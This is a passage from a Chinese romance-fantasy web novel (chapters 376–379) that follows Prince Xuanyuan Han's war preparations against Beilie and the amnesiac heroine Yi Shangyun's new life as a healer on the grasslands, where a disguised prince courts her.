一出风华宫的宫门,程良便道:“殿下,公主和那个婢女,明显早已串通好是在撒谎。属下肯定,他们一定认得那两名蒙面男子。” “公主与太子俩生性单纯,本王方才早已从她的眼里知晓了一切,除了他们俩,还能有谁?”轩辕翰语调森冷,沉声道。 心下里接着一想,又道:“即便是大婚在即,亦能让他至今都不舍得离去,而留在我西秦的原因,想来他一定是有什么重要进展?现在又与那易三少串通一气,如此看来,本王的猜测很有可能是对的。” 第三百七十六章:用心良苦 “即便是大婚在即,亦能让他至今都不舍得离去而留在我西秦,想来他一定是有什么重要进展?现在又与那易三少串通一气,如此看来,本王的猜测很有可能是对的。” “殿下是说,衣姑娘极有可能便是梅志煊口中所说的东宁国遗失在我西秦多年的嫡公主?他是因为这件事,才久久不肯离去?” 然仔细顺此再一琢磨下去,程良顿觉更为吃惊:“若是这样的话,那王妃娘娘与衣姑娘之间岂不是...…” 惊讶地顿了顿,忽地又说:“可,可既然同为手足,如此,王妃娘娘理应更照顾衣姑娘才是啊。然方才依公主所言,王妃娘娘显然早已识得拓跋泽,那拓跋泽竟说自己是‘拿人钱财,替人消灾’...难道,这一切都是王妃娘娘一手设计的?” 程良说完,怔望向主子的脸。 却只见轩辕翰面色骤冷,双手紧紧握起,似是在极力隐忍着道:“无论如何?如今有一点是肯定的。云儿,他被拓跋泽...…” 想起梅汐媛所言,拓跋泽对衣上云所做的那些事,轩辕翰显然难以继续再想象下去。 顿了顿,待平缓下来方才继续补道:“云儿极有可能真的没有死。” 虽然不想打消主子心中本就极其渺茫的一丁点儿希望,程良忍不住还是问了句:“殿下何以见得?” 轩辕翰道:“拓跋泽几次三番既然那么想要得到她,便不会轻易眼睁睁看着让她去死的。云儿也不是那么脆弱的女子。从小到大,她在衣府里所受到的歧视与侮辱又何曾少过?况且,韶华阁那边若是真想让她死的话,就不会让拓跋泽冒着这么大的风险从那么远将她带回来皇城处置了。” “那王妃娘娘究竟为何要让拓跋泽将衣姑娘带回来呢?”程良疑惑地问。 “她一定也是和她的皇兄梅志煊一样,或者根本他们就是在一起寻找东宁国遗失了的公主。不过,这梅志煊看样子是真的在寻人,而她则是…在故意破坏。” 听了轩辕翰的分析,程良惊诧极了:“王妃娘娘为什么要这样做?” 轩辕翰叹了口气,说:“因为利益。” 程良似懂非懂:“利益?” “如果云儿真的是东宁国遗失了的嫡公主,那么梅汐媛如今所拥有的一切便定是不保。她是那样骄傲的一个人,竟然对本王说她愿意用东宁国的势力帮助本王取代皇上,可见她是多么的野心勃勃。又怎么会甘心失去处心积虑又生来便拥有的这一切呢?更何况,她的母后只是个继后,听闻东宁国君对嫡皇后可是至今都念念不忘的。” 轩辕翰双手负后不紧不慢地走着,说着,心里倒是对这个有情有义的老国君忽生了一丝兴趣。 “那是不是王妃娘娘将衣姑娘给藏起来了?”程良忽然明白了过来。 “就凭她,她可藏不住。”轩辕翰瞥了他一眼,轻蔑地道。 “那衣姑娘到底被谁给带走了?”程良摸着脑袋暗自想了会儿,忽然惊道:“难道是…拓跋泽!” 见轩辕翰闷不作声,漆黑眼瞳里面尽是冰冰冷冷的,那锐利的视线中,显然早已猜到了这点。 犹犹豫豫,程良再次试探问道:“属下一直有一事不明,既然殿下已经猜到了是拓跋泽将衣姑娘带走了,为什么不将她寻回来呢?” 闻此,轩辕翰突然驻足停了下来,深看了程良一眼,继而又微眯着双眼看着前方的花丛,声音平平又意味深长地说道: “正所谓‘没有不透风的墙’,云儿是我西秦守护者的身份,怕是早晚有一日终会被世人所皆知。更何况,城西衣府的事如今更已是被人到处传的沸沸扬扬。到时候,她便会成为众矢之地,势必遭到各方抢夺。眼下,让她隐姓埋名远离这一切,也许对她反而比较好。无论如何,只要能活着,便是最好的。” 程良听了恍然大悟:“原来这便是殿下对守护者的态度。殿下向整片灵空宣告衣姑娘已经身亡的消息,所做的这一切乃是帮她金蝉脱壳,这可真是用心良苦啊!只不过,要苦了衣姑娘了。也不知道她一个女子,出了那种事,一个人在陌生的地方又失忆了,该怎么挺过去?” 轩辕翰稍作思量,亦叹了口气,遂吩咐道:“程良,派人全力在北烈搜查云儿的消息。记住,找到以后,只要暗中保护她的安全便可,不到万一,千万不要暴露身份。” “是”程良领命,却又心升起另一丝犹豫,吞吞吐吐地问:“那王妃娘娘那边……” 轩辕翰目光冷厉,冰冷地道:“现在还不是打草惊蛇的时候。” “西秦守护者竟成了东宁国尊贵的嫡公主,这也太离奇,太令人匪夷所思了吧?怎么会是这样?”程良一边翻身上马,一边暗自嘴里喃喃着,显然惊诧极了。 而在轩辕翰的心里,又何尝不是同样的感触? 如今,他必须加快速度赶在拓跋泽得知衣上云真正的身份,将此消息公布于世之前,彻底拿下北烈国。当然,只有统一了这片大陆,他才有能力真正保护的了她。 如今,他所能做的所有这一切,也只不过是缓兵之计而已。 他真希望,发生的这一切,都只不过是一场噩梦而已。 梦醒后,她还只是一个幸好被人退了婚的药师府上的单纯女子,那个依偎缱绻在自己怀中的人儿。 如此,他们之间的关系,亦会变得简单明了许多,太多…… 出了宫,俩人策马急驰出没多远,忽见前方路中间隐隐约约现出了一个似是有些熟悉的男子背影来。 “吁”主仆俩顿时四目相对了一下,遂勒马缓缓停了下来。 轩辕翰手持缰绳骑在高头大马上,俯瞰着前方那个一袭红袍装扮,远远的便散发出满身脂粉味的妖艳背影,道:“易三少,果然是你!本王就知道,你哪有那么老实竟能乖乖回南安皇宫去。” 易三少蓦地转身,与那身装扮极不和谐的脸色格外地阴沉,怒瞪着他根本不屑与其含蓄两句,自顾直奔主题。 “少废话,轩辕翰,你把丫头到底怎么了?为什么说丫头已经坠崖身亡了?你明明知道她乃是从骁龙会里被拓跋泽掳回了西秦皇城。” 轩辕翰似是早已知晓了他前来的目的,遂漫不经心地轻笑了一声,亦不屑地道:“本王府上的人,是生是死,本王好像没有必要跟你解释吧?若是不相信本王的官宣,三少大可以与那梅志煊俩人一道去找那拓跋泽算账,问个清楚啊!此刻却为何会出现在本王面前?” 说着,还不忘故意朝其身边周围扫了一眼,傲慢地道:“对了,你那跟班呢?又或者你是他的跟班?” 闻此,易三少双眼兀地打开,似是宝剑出鞘般锐光四射,顿时一脸煞白,气息起伏不平地迎上去,与轩辕翰那双深邃的冷眸顿时四目相对在了一起。 许久后,待稍一平缓下来,收回视线忿忿地道:“轩辕翰,我还以为你是真的喜欢丫头,没想到竟也是这般的始乱终弃。什么灵空战神,什么爱民如子,重情重义的西秦秦王,狗屁!全都是狗屁!你根本就不配喜欢她。” “本王配不配,不需要你来评价,亦不需要任何人来论说。”轩辕翰亦收回视线,恢复了常态,仍是不屑一顾地道。 易三少紧紧咬着牙,一时间竟拿他没了办法,暗自默想了一会儿,却忽然似是得到了释然一般,抬头仰望着头顶上一片蔚蓝的天空,哈哈大笑了起来。 见此,轩辕翰与副将程良对视了一眼,不解地问:“你笑什么?” 易三少敛声收回目光看着他的眼睛,坚定地说:“不管你如何官宣,我易三少始终都相信,丫头,她绝不会死。” 说完侧过身去,又道:“既然你官宣丫头已经死了,也就是说,西秦国亦或秦王府,又或者城西衣府,以后永远都不会有这个人了。” “那又如何?”轩辕翰问。 易三少笑了笑,说:“看来这次失忆,丫头倒是因祸得福,获得了真正的自由。” “你不找,我自己去找,我就不信,我易三少找不回她。待我找到了丫头,便带她天涯海角寻一处花海药田之地,过与世无争,闲云野鹤的日子,相信丫头一定会喜欢的。” 说完回过神来转身睨了轩辕翰一眼,对其恨恨道:“此生,她再也不会见你这副虚伪的嘴脸。” 说完,便拂袖扬长离去。 …… 时间如白驹过隙,转眼已是夏初。 轩辕玥亦已得偿所愿,于一个春光明媚的日子里,恋恋不舍又对未来满含希冀着,启程风风光光地远嫁至富甲一方的东宁国。 西秦的整个朝堂,如今都已弥漫着直捣蛮夷之邦北烈巢穴的气势。 所有武将,不论年纪大小,官阶高低,俱都奋勇争先,希望有幸参与西秦国开国以来迄今为止最大的一次战争,为西秦大地的壮大与辉煌,贡献出自己的一份力量。 衣上俊因为在几次对北烈边境的战役之中,冲锋陷阵,奋勇杀敌,如今也已是一名成熟的将领。 璟帝决定发兵十六万,远出彻底瓦解北烈的兵力。 自是任命战神秦王轩辕翰为统帅,带兵全力深入到北烈腹地,即日便将启程北上。 第三百七十七章:四月草原 人间四月,芳菲已尽,花褪残红,虽并非最绚烂的季节,然乳燕飞、娇莺啼,每一样却都透着另一番新鲜,透着旖旎。 经过繁忙的准备,一切完备,就等出征。天气虽已开始转热,但晚上还是凉意侵骨。 此时,轩辕翰只身静立在林月轩寝殿的门口屋檐下,望着院中水池里随波一荡一漾的一轮弯月,表面上似是在欣赏着醉人风光,可心里却时刻紧绷着一根弦。 许久后,只见他的嘴角忽然噙出一抹淡淡的弧度来,目光极尽温柔地凝视着眼前平静的水面,开口喃喃自语的念道:“春去夏至,你可一切安好?” 稍时,副将程良拎着一件玄色披风缓缓走了过来,脸上似是挂着一丝忧郁,近身替其将手里的披风穿上。 “殿下,四海茶庄的那名妇人至今都还没有找到。有人说,极有可能是已经惨遭拓跋泽毒手了。” 大概因为实在没有想到,闻此,轩辕翰忽地回神,朝其怔望了过去。 程良微微颔首,继续道:“因为四海茶庄的前身便是那妇人夫家祖传了三代的酒楼,因为两口子是老来得子,儿子又突患恶疾,只有拓跋泽的奇药方才医得了孩子,不得已才失了这份来之不易的家业。后来,丈夫觉得愧对先人,因此最终便抛下那对母子,独自去了。” 轩辕翰静静的听他讲完,叹了口气道:“这都怪朝廷,是朝廷没有护好百姓,帮他们把那些心术不正的恶人挡在国门之外,所以我们要做的事还有很多。” 转念又问:“北烈那边寻找的情况怎么样了?” 程良复又摇摇头,一脸苦涩道:“一点儿消息也没有,根本从未有人见过什么遮着面巾,亦或脸上有红色胎记的年轻女子出现过。” 闻此,轩辕翰刚刚提起来的心顿时一沉,皱紧眉头又想了会儿,问:“就连拓跋泽的身边亦没有吗?” 程良无精打采地摇了摇头,吞吞吐吐道:“殿下,会不会衣姑娘...她真的已经...难道是我们想……” 话音未落,轩辕翰厉声呵斥其道:“住嘴,她不会的,给本王继续找……” 程良顿时打起精神来,道:“是”,遂又抬头看了看时辰,劝道:“殿下,夜深了,明日一早便要启程北上了,早点歇着吧!” 然而,他又如何能得以安歇呢? 北烈国,灵空大陆上一片颇具神秘的土地。 蕴藏着诸多奇幻的色彩,高原、山地、丘陵、平原、沙漠、河流、湖泊…… 初夏时节,不见了料峭春风里的萧索,褪去了泛黄的颜色,到处是绵延起伏的绿草,坦荡如砥,芳草萋萋,阡陌纵横,绿草如茵,雄鹰于广阔的天地之间尽情的展翅翱翔。 风吹过,广袤的大地上,五颜六色的野花镶嵌其中,绿得醉人,翠得耀眼,美得那般高调。 蜿蜒曲折的河道、广阔无垠的草原、气势恢宏的河水、俨然一幅颇具“醉卧沙场”的场景。 云开雾散,日出东方。 一大早,从远离战场的指挥军营大帐内忽然传出了一阵与这大帐外令人陶醉的风光美景极不和谐的暴怒呵斥声来。 “废物,真是废物,连画像都给了他们,竟然连个女人都找不出来。一个大活人,难道还能插翅飞了不成?交待的这点事儿都办不好,还留着他们一个个做什么?” 只闻声音停了会儿,却又转为有人来回踱步的声音发出,继而没一会儿紧接着又是一阵怒声传来。 “传本皇子令,告诉他们一个个,限十日之内,若是再在灵空大陆里还是找不出那个西秦守护者来,他们就通通全都永远都不用回来了。” 大帐内,话一说完,拓跋泽一气之下,便大力地两手扯下了挂在帐上的巨幅西秦守护者画像,将其用力揉作一团,狠狠地砸在了面前怯怯垂首下去跪地着的侍卫脑袋上。 就在这时,帐外又传来一阵颇为急促的脚步声,只见那人冒着豆大的汗水,不知是因为心中害怕,还是因为太过于着急,全然顾不得擦拭,只顾一路疾跑着:“报……” 只见进来的人一身铠甲,灰头土脸,满是狼狈,一进来便踉踉跄跄地屈膝跪倒在地上抱拳禀报起来。 “启禀大皇子殿下,西秦军队来势汹汹,我军连连败退,已经快要抵挡不住了,请殿下赶快撤离此地。” “什么?又败了?还撤?都撤退了多少次了?再撤退下去,我们就要全部都失守甚至亡国了。废物,全都是废物,滚出去!” 无疑,刚刚得到的紧急战报又一次使他的境况更加地雪上加霜。 他本以为,好不容易终于得到了西秦守护者画像,又从梅汐媛那里捞了一笔。 恨只恨竟然让轩辕玥给逃脱了,他的如意算盘打得太精,失了好大一笔。 不过还好带着衣上云及时出了关,总不尽算是无劳而获。 于是,便打算回国重整旗鼓,等他在灵空各国撒下的巨网全力寻回这股神秘力量后,便以此来助他全力踏平西秦,继而称霸整个灵空。 然不想,这个秦王轩辕翰,根本就没有给他任何喘息的机会,甚至还未待他回国,便已经发兵向他讨伐,让他陷入如今这般的措手不及。 就在这时,又是一声急报传来:“大皇子殿下,根据可靠情报,西秦已经派出十六万精兵,由战神秦王亲自统领,欲直捣我北烈腹部,不日便将启程北上,还请殿下尽早准备应战方案!” “什么?”闻此,拓跋泽扑通一声,一屁股重重地瘫坐了下来,垂首下去,放在膝头的两只手紧紧握起,直咯咯作响。 就在这时,旁边的一名侍卫眼珠子咕噜咕噜狡诈的转了两圈后,上前朝其近身过去,在其面前抱拳缓缓道:“想来如此与众不同的一个女子,派了那么多人去找,至今却还未能寻到半点儿消息...” 说着说着,顿了顿,补了句道:殿下可曾怀疑过,这个西秦守护者画像,原来根本就是假的!” 闻此,拓跋泽心里顿时一惊,抬眼深看了那侍卫一眼,又起身来一边踱步一边自顾暗想了想,似是有些纳闷地说:“应该不会吧?想她们没那个胆,竟敢给本皇子假的西秦守护者画像。” 侍卫亦想了想,又道:“正所谓‘女人心,海底针’,女人的心最是深不可测。不过,若是殿下确定她们真的不敢,那会不会...” “会不会什么?”拓跋泽双手负后顿足下来,怔望向侍卫的脸问。 侍卫道:“会不会是有人特意给了她们一副假的守护者画像?想想如此重要的东西,岂会这么容易便得到。那个秦王轩辕翰,一向可不是个什么省油的灯呐!还请殿下三思,莫要再继续下去这无用功!” 闻此,拓跋泽微微昂起头来,长长地舒了口气,忽然问:“二皇子殿下呢?” 侍卫禀告:“二皇子殿下,他整日跟着殿下带回来的那位姑娘,不知道在忙些什么?” “敌军都已经打到家门口,自己都快要变成亡国奴了,竟还整日里忙着这些儿女情长。去请二皇子回来,就说本皇子找他有要事商议。” 拓跋泽气呼呼地刚一说完,却又忙伸手将其拦住,道:“等等,算了,本皇子还是亲自去吧!也好久没见那丫头了,正好过去瞧瞧。” “那撤退的事……”侍卫这时才敢开口探问。 拓跋泽默了会儿,继而怒瞪着他极不甘心又无可奈何地说:“还能如何,整日里就知道夸大吹嘘,关键时刻,没有一个能用的,先撤吧……” 侍卫一得令便欲出去安排,拓跋泽又道:“等等,让留在西秦寻找守护者的人,想办法探一探画像的虚实。” “遵命!” “好你个秦王妃,竟敢戏弄本皇子,若是让本皇子知道你给本皇子的守护者画像,果真是假的...” 拓跋泽自言自语地说着,脸上忽然露出一抹极具诡异的笑来:“哼...那咱们就走着瞧?” 草原的夜里,繁星点点。 头顶俨然成了一片璀璨的银河,像是在竞相绽放着它们最耀眼的光辉一般,又像是一场世间最盛大的焰火,欲将整个草原的夜空全部都点亮! 从一户牧民病患的帐篷里刚一出来,拓跋宏远远地便看到衣上云正坐在湖边的草地上,对着这片星光璀璨的夜空发呆。 看着她如今已然慢慢开始习惯了这里的生活,心绪也似乎已彻底平静了下来。这样的状态,不禁顿时令他愣住。 片刻后,方才举步缓缓朝其走了过去,一掀袍子坐在了衣上云的身边,凝视起她的脸来。 此时,她极其专注,仿佛一些被深深埋藏在心里的东西慢慢在渗出,会聚到眼中,浓得化不开,他却怎么都看不懂。 就这样默默的瞅了她不知道多久,拓跋宏忽然轻咳了两声“咳咳”将其唤醒,问:“在想什么呢?这么入神。” 衣上云收回视线,转目看了身旁的他一眼,却只是淡淡的笑了笑:“病患那边,都交代好了?” “幸亏有你,否则她怕是一定会难产致死的。而如今,转眼却是母子三人俱都平安,还是龙凤胎呢,多好啊!”拓跋泽长长的松了口气,一脸庆幸地道。 衣上云垂首谦虚的笑了笑,拓跋宏忽然转念好奇地问:“对了,乌乐的医术是从哪儿学来的?” 第三百七十八章:草原上的乌乐 “对了,乌乐的医术是从哪儿学来的?我还从未见过有人在病患身上动刀的?自古以来,像这样的病人,不止在我们草原上,哪怕就是在灵空的其他国家,也从未听说过有一个能母子俱都活着的病例,你可真正是我们大草原上的福星啊!” “你难道忘记,我失忆了?”衣上云侧目不答反问他道。 对了,衣上云如今在这片天苍苍,野茫茫的广阔草原上已经入乡随俗,改名为“乌乐”,即是云的意思。 她也的确像是一朵飘忽不定,似是永远都找不回真正的自己,亦回不了家的浮云。 一对上她的眼睛,拓跋宏顿觉自己失言,遂无奈的摇了摇头,笑了起来。 过了会儿,恢复了一脸素颜,犹犹豫豫间终还是开了口问:“你刚才...是不是...在想你西秦的家人?亦或者,还是...其他什么重要的人?” 恰时,一阵风吹过。 衣上云收回视线,忍不住打了个哆嗦。紧接着缩了缩那自从到了草原上之后,至今都实在不知为什么总是不喜奶制品的味道,竟严重到甚至一闻见便想吐,所以一日一日变得更加瘦弱单薄不堪的身子,屈膝紧紧地抱起了双臂来。 拓跋宏一见,忙放眼过去朝着周围四处探了探,继而起身到一边很快捡回来些枯枝,燃起了一堆篝火。 至此,衣上云方才顿觉一股股暖流徐徐扑面而来,渐渐暖至全身,那紧紧皱起的眉头亦随之渐渐舒展了开来。 对着那团火光发呆了会儿,忽然篝火中的枯枝爆开,飞起几点火星,惊醒了她的回忆。 于是,便开口对他淡淡地答说:“在想...过去。” “过去?”拓跋宏惊看向她,似懂又非懂,只道:“虽然你一到草原,便知道你失忆了,但是或多或少,想必应该也有些回忆吧。自然,每个人自是都有过去的,我的过去嘛......” 说着说着皱了皱眉头,忽然停了下来,顺手揪下手边的一根牧草将其叼在嘴角,枕着双臂在衣上云的身边躺了下去。仰望着头顶灿烂的星空,似是陷入了一片深深的回忆当中。 过了会儿,好似是在自言自语一般缓声着说:“不知道乌乐的过去,又是什么样的?乌乐长的这般美丽又善良,想必身边一定会有很多的追求者吧!” 不想衣上云沉默了会儿,竟忽然真的开了口。 她呆呆地凝视着眼前即将燃尽的篝火道:“每个人的过去里,那些生命中所遇到的一些令人难以忘记的人和事,无论曾经是怎样刻骨铭心的山盟海誓,总有一些不被上天所眷顾的,难免会变成最美的擦肩而过。” 顿了顿,继续道:“到最后,深埋于心底的这段念念不忘的过去,便仿佛地上这堆燃烧殆尽的篝火,看起来只剩黑漆漆的灰烬,可若想立即把灰烬扫去,又会一不小心烫到手。不过,总会有冷的那一天。” 拓跋宏听了眼中闪过一丝惊疑,看向她的侧脸。 沉沉黑夜,万籁俱寂中,在那张年纪轻轻本应该是对自己人生与未来充满无尽希冀与激情的脸上,却显出是那样的宁静与平和,与世无争的一副姿态来。 衣上云说完,只自顾默默地遥望着远方西秦国方向的那片星空,心里默默地道:“殿下,有你留给云儿此生最美的回忆,我一定会好好活着的,放心吧,我会做到的。” 忽然,她的嘴角勾起了一抹释然般好看的弧度来。 拓跋宏出神的望着她的脸,忽觉察到一丝凉意,便忙回神起身来,许是因为自己听得太过于认真,竟然忘记了往篝火堆里加柴进去。 于是,他过去一边将那堆死灰再次复燃起,一边不以为然地说:“既然知道已经不被上天所眷顾,为何自己还不努力去争取?自己的幸福和命运,不是自己说了才算吗?如果那段过去,真的对乌乐那么重要,我…一定会帮你实现的。” 闻此,衣上云缓缓收回了视线,继而将目光移至到眼前于火光照耀下,所现出的一副英俊男子的脸上,淡淡地对其笑了笑,说:“世上的事,哪有你想的那么简单?” 重新燃起了比之前更亮,更为温暖的一堆篝火后,拓跋宏再次回来坐到了衣上云的身边,似是还想开口继续劝说些什么,却被衣上云先开口打断。 “宏,其实你真的没必要帮我做这么多。我不是不知道你的心意,可在我的心里,真的好乱好乱,实在已经容不下任何人了。在这片广阔无垠的草原上,甚至这片大陆,有更多更好更美丽的姑娘值得你去为她们付出,能够陪在你身边的那个人,绝对不是我。” 衣上云颇为真诚地说出这番话来,希望拓跋宏能够及时醒悟,不要再整日伴着她左右,继续于她的身上浪费其大好时光。 岂料拓跋宏却自顾深情地道:“乌乐,我为你所做的一切,都是心甘情愿的,没有想要你任何报答,你更加不必觉得有负担。在这辽阔的草原上,你帮助了那么多最低层穷苦的牧民,不也毫无所图,要他们一分一毫吗?那本就身为牧民之子的我,为你所做的区区这些,又算得上什么呢?” 衣上云一听,顿时望向他满满固执的脸,却刚好与其正同样对视过来的无比坚定的眼神所交汇。瞬间,不知道为什么,她竟似是都有些着急的想哭了。 “宏,你到底要我怎么说才能明白,我们之间,不,具体来说,应该是我的问题,我……” 岂料拓跋泽忽收回视线转而怔望向远方,扬声一脸严肃地将其剩余的所有话全都噎了回去。 “你不必说了,我都懂。我知道你是因为那个西秦秦王。你与他情投意合,却被那身怀有孕的秦王妃所央求,为了不阻碍秦王的前程,方才不甘心却又无可奈何地背井离乡,离开了西秦国,一个人独自默默地承受了这一切,对吗?” “这个,你是怎么知道的?”衣上云看着他的脸,顿时惊诧极了。 这片草原上的人,皆都只知道她来自西秦国,然却除了拓跋泽以外,根本不可能有第二个人知道她这么多的事情。 那么眼前的这个人,他到底是谁?想起此人一直以来总给自己留有一种半途中突然冒出来,似是神出鬼没,又似神龙见首不见尾,极为神秘的感觉。 一念至此,她素颜颇为认真地朝其疑惑开口道:“宏,你到底是谁?” 拓跋宏闻此,似是忽然意识到了自己刚才一时激动,竟差点儿暴露了自己的身份。 于是,便如同往日里过去的每一次同样,面对衣上云的质问,永远都只一口咬定坚持着道:“关于这个问题,我不是初遇你时,便早就与你解释过了!我是这片草原上极为朴实的一名牧民之子,亦钟爱医药之术,见乌乐医术过人,便慕名前来随乌乐讨教一二。” 说着说着,他忽然回望并凑近到衣上云的眼前,注视着她此刻正蹙眉低眼若有所思,一副对自己及自己所说的话满是质疑的脸,道:“怎么,乌乐可是吝啬,不愿与人分享你的医术么?” “当然不是,我只是……”衣上云当然不是这般小气的人,说着忽一抬起眼来,这才发现与其之间的距离竟是如此之近。 近的几乎都快要撞上他那笔挺的鼻尖,若是她抬头时动作再快再猛一点点,怕是一定会发生那样的尴尬来的…… 顿时间,俩人四目相对着,仿佛周围的一切全都静止了下来,空气里弥漫起一种暧昧的似是都快要令人窒息的气息。 顿觉得这幅画面一定极难为情,于是衣上云忙回过神来似是本能一般“哗”地一下,伸出手一把将其大力的推开,朝其怒道:“你是不是疯啦,离我这么近做什么?” 拓跋宏受力,顿时单手撑在草地上,满是玩味又似心满意足地看着她此时娇羞至极绯红的脸庞,扯了扯嘴角,勾出一抹诡计得逞的弧度来。 “以后你对我若是再如此无礼,便不要再跟着我了。”衣上云忿忿地说着,便欲站起身来。 拓跋宏忙伸手将其按了回去,对其连连致歉道:“好了,好了,不打趣你了。” 然衣上云仍旧似是气不过,继续不放弃地在其手中用力挣扎了两下,却终是不敌拓跋宏的男子力道,最后只得无奈地嘟囔着嘴听话乖乖坐了回去。 这时,拓跋宏方才有些认真地道:“我还有正事未与你商量呢?” “正事?什么正事?”衣上云忽然纳闷地看向他一本正经的脸,问。 “之前我给你服下的那种药,只能帮你隐瞒整整百日。百日过后,你的脸便会恢复服药前最初的容貌,眼看着,这转眼百日之期马上便要到了。你有没有想过,百日之后,你要怎么办?如今,在这草原上可是有很多人在找你呢?” 第三百七十九章:树欲静而风不止 “正事?什么正事?” 拓跋宏一本正经的回答说:“之前我给你服下的那种药,也只能帮你隐瞒整整百日。百日过后,你的脸便会恢复服药前最初的容貌,眼看着,转眼百日之期马上便要到了。你有没有想过,百日之后,你要怎么办?如今,在这草原上可是有很多人正在找你呢?” 看着她的脸说完这段话,见她只低着头似是并没有一丝动容,拓跋宏兀自收回了视线。 是啊,自从到了草原后,她便没日没夜的整日里只顾忙着到处东奔西跑治疗病患。好以此来麻痹自己,不让自己有时间想起那些过往来。以至于竟差点连这等重要的大事亦都给忘了。 拓跋宏这一提醒,她方才记起时光荏苒,岁月如梭。很快,他之前为她所服下的那粒世间仅此一粒,珍贵而又神秘至极的“焕颜丹”,便会彻底失去其药效。 到时候,她将再次恢复到原来的样子,失去现如今这张与之前完全不同的一张脸。 不知不觉,原来自己来到这片没有人认识她的陌生草原上,已经足足快有整整百日了。 时间,果然是世上治愈所有伤痛最好的良药。 可好不容易,她才将过去的所有一切逐渐淡忘,整个人也因此而变得心平气和了下来。 然若是又恢复到原来的容颜,对她来说,“树欲静而风不止”,无疑,她便再也逃不开这个尘世的纷纷扰扰,重新又一次回到了以前复杂、纷乱、苦难、又煎熬无助的日子。 如今,在草原上秘密寻找她的势力,她虽然不是很清楚到底是什么人指使的?但是却能确定那绝不是来自于同一股势力。 显然,她为此而陷入了深深的沉思之中。 默默地想了许久,她呆呆地怔望着眼前噼里啪啦熊熊燃烧着的篝火堆里所迸射出的点点火星子,似是已经暗暗下定了什么决心一般,最后喃喃自语地说:“既然躲不过,那就索性只能去面对这一切了。” 可既然决定好了要面对,她自是必须要正视自己的过去。 一念至此,她不禁再次习惯性地摩挲起腕上的七彩金丝彩玉镯子来。 而听到她忽然颇为认真地说出这样一句话来,拓跋宏忽地转头惊看向她的侧脸,却瞟见她的目光正落在其手里不知什么时候,紧紧握着的一个朱红色小木匣上,好奇地问:“这是什么?” “这个叫…还魂丹?”衣上云淡淡地道。 “还魂丹?是用作什么的?我怎么从未听说过?你是从哪儿得来的?”拓跋宏顿时惊问连连。 衣上云缓缓将小木匣的盖子掀开,对其说道:“这粒还魂丹,是我在西秦刚刚发生意外尚还在失明的时候,偶遇的一位道长所赠。那道长说,将此丹药服下,便可使我记起遗忘了的事……” “果真如此神奇吗?那你为何至今都不服呢?”拓跋宏心里有些质疑。 于是伸出两根指头去,将丹药从衣上云手中所捧着的小木匣中小心翼翼的取出端详了会儿,又放在鼻翼闻了起来。 “神不神奇,这就无从可知了。之所以至今我都不愿服下此药,是因为…那道长说,若是服下此丹药,将会永远忘记原本心中最为珍贵的一样东西。”衣上云回忆着幽幽说。 “哦?为何会这样?”拓跋宏听了,发出一惊声道。 衣上云亦是同样不解地对其摇了摇头,又沉默了一会儿,忽然眼睛亮了起来,竟有些兴奋地道:“不晓得,如果服下半粒,会怎样?” 此话一出,两人瞬间面面相觑着四目相对视了起来。 最后,拓跋宏先收回了视线,继续凝视了手心里的丹药一会儿,复又靠近鼻翼嗅了嗅,遂暗自皱着眉头仿佛若有所思般,一副满是纳闷的模样。 “这药似乎很是奇特,根本闻不出有任何药草的气味,它到底是用什么做的?” 拓跋宏说着顿了一下,极为质疑的看向衣上云的眼睛问:“给你这粒药的道人可信吗?” “只不过萍水相逢而已。”岂料衣上云却笑了笑,似是根本一点儿就不担心或怀疑,云淡风轻地回他。 “如此,那定是断不能吃的。”拓跋宏闻此,当即坚决反对道。 话音刚落,紧接着又补了句:“这万一若是被什么存心不轨的有心人故意设计,中毒甚至…那可怎么办?” 说着,目光缓缓落下,紧紧盯着自己手里的药丸:“这药怎么看都是十分诡异。不,简直就是越看越诡异。罢了,大不了我带着你远走高飞,天涯海角寻一处没有人知道的地方,我们隐世独居乐逍遥岂不美哉,我可不想你有任何危险。” 衣上云见他忽然情绪激动地越说越不像话,便一把将其手里的那粒药丸夺了回去,背过身生气地警告他。 “说什么呢?你怎么又来了?以后你若是再说这种话,我便真的不理你了。” 拓跋宏随其转而望向她的背影静了会儿,才缓缓说道:“对不起,乌乐,我刚才也是一时着急不小心才说错了话。我知道我永远都没有办法取代他在你心里的位置,但是,我是真的想要保护你,不想你再受到任何伤害。” 顿了顿,似是有些不甘心,却依然隐忍着说:“乌乐,不要拒绝我的心意,好吗?就当我是你的一个朋友,哪怕是…这辈子永远都只以哥哥的身份留在你的身边保护你。只要能每日看到你,陪在你身旁,在你需要人倾听内心的诉说时,静静地在你身边守着,我便就心满意足了。” “你…你到底要我说多少次你才能懂?你真的没必要这样做,这样对你根本就不公平……”衣上云蓦然回过头来,对其又气又抱歉地道。 然拓跋宏却对她笑了笑,继而淡淡的说:“这世上,本就没有什么绝对的公平可言。人们所谓的公平,也都只不过是于自己心里的一种自我衡量而已。你若觉得上苍待你不公,现实便会让你变得更加万劫不复,可你若坦然接受,即使再不公平也会觉得甘之如怡。我对你,就像你对他一样,你既做不到,又怎么来劝我放弃?” 这究竟是怎么了?自己明明就是为了要躲避这一切尘世所带来的束缚,方才不顾千里迢迢来到此地。可如今,仿佛自己又掉入到了另一张迷网当中。 眼前的这个英俊男子,她根本还对他一无所知,可面对他如此执着于自己,她又到底应该如何面对? 许久以来,每一次出门前,她都要向上苍祈祷无数遍,千万不要让她出门再撞见这个人,然却始终都没有一次能祷告成功的。 她甚至焦虑地以为,他是不是就整日整夜不眠不休地在自己的帐篷外一直守着,守着等她出门。 殊不知,他的确是在时时刻刻地等着她出门。却何止是不眠不休,简直就是风雨无阻,雷打不变。 甚至担心附近周围的狼群嚎叫声半夜里惊醒了她的美梦,而特意亲自带人将方圆百里清场了数遍,确保再没有一只狼能骚扰到她,却依然还是极不放心地在她的帐篷外面不远处为其彻夜守着。 就连他自己似是也不敢相信,这一生,那样骄傲尊贵的他,如今竟会为一个女子做这些。 在这片广阔的草原上,几乎没有一个女子,不梦想着能成为他的王妃,可在他的心里,不知何时起,那个位置便已经被一个人所牢牢占据。 是啊,那该是从什么时候起的呢?应该,是打他们在西秦国第一次见面的那个时候,便已经开始了吧! 这一刻,衣上云陷入了自己无边的愁绪中。只觉地忽然间心乱如麻,似是憋的都快要喘不过气来。 不由得,想起了往日里与轩辕翰之间的点点滴滴,以及俩人最后一次在骁龙会见面时所发生的一幕幕甜蜜,还有些许支离破碎的关于自己失忆前的片段。 一切的一切,忽然在心头翻滚了起来。顿时间,梅汐媛的字字句句又在耳边响了起来。 “我已经怀了殿下的孩子。” “只有我能借助母国的实力祝他一臂之力。而你,却只会成为他的牵绊与负累。” …… 